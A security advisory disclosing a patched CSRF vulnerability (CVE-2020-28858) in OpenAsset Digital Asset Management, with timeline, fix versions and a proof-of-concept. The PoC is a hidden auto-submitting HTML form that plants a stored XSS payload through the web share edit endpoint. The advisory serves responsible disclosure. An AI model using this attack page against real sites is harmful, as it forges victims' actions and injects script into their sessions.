Title: Cross-site request forgery (CSRF)
Product: OpenAsset Digital Asset Management by OpenAsset
Vendor Homepage: https://www.openasset.com/
Vulnerable Version: 12.0.19 (Cloud) 11.2.1 (On-premise)
Fixed Version: 12.0.26 (Cloud) 11.4.10 (On-premise)
CVE Number: CVE-2020-28858
Author: Jack Misiura from The Missing Link
Website: https://www.themissinglink.com.au
Timeline:
2020-11-14 Disclosed to Vendor
2020-12-04 Vendor releases final patches
2020-12-10 Publication
1. Vulnerability Description
The OpenAsset Digital Asset Management web application was vulnerable to cross-site request forgery because it did not verify whether a request made to itself was intentionally made by the user. All actions performed by the user's navigating the site, including all administrative user actions were found to be vulnerable.
2. PoC
While all endpoints are vulnerable, the best attack involves using the web share functionality, to introduce a stored XSS through CSRF. The web shares are shared with third parties by application users. To perform the attack, the following HTML page can be hosted on an attacker controlled site:
<html>
<body>
CSRF / Stored XSS Attack Demo - WebShares
<iframe src="https://target-site.com/404page/123" name="targetFrame" style="display:none">
</iframe>
<form id="myEvilForm" name="submit" action="https://target-site.com/AJAXPage/EditDownload" target="targetFrame" method="POST" style="display:none">
<input type="text" name="code" value="CODE GOES HERE"><br/>
<input type="text" name="name" value="Test<script>alert("CSRF and XSS attack!");</script>"><br/>
<input type="text" name="description" value="SharedFolder"><br/>
<input type="text" name="expires" value="1"><br/>
<input type="text" name="expiryDate" value="12-12-2030"><br/>
<input type="text" name="maximumDownloads" value=""><br/>
<input type="text" name="notifyEveryDownload" value="1"><br/>
<input type="text" name="alive" value="on"><br/>
<input type="text" name="action" value="submit"><br/>
<input type="submit" value="Submit"><br/>
</form>
</body>
<script>
alert("Ready to submit CSRF attack.");
myEvilForm.submit();
alert("Done.");
</script>
</html>
The code value must be replaced with the appropriate web share code - this is acquired when the web share is sent to the unauthenticated third parties. The attacker only needs to convince the user who sent the original web share information out to visit the example site.
3. Solution
The vendor provides an updated version (11.4.10) which should be installed immediately. If using the cloud version, the vendor has already updated it.
4. Advisory URL
https://www.themissinglink.com.au/security-advisories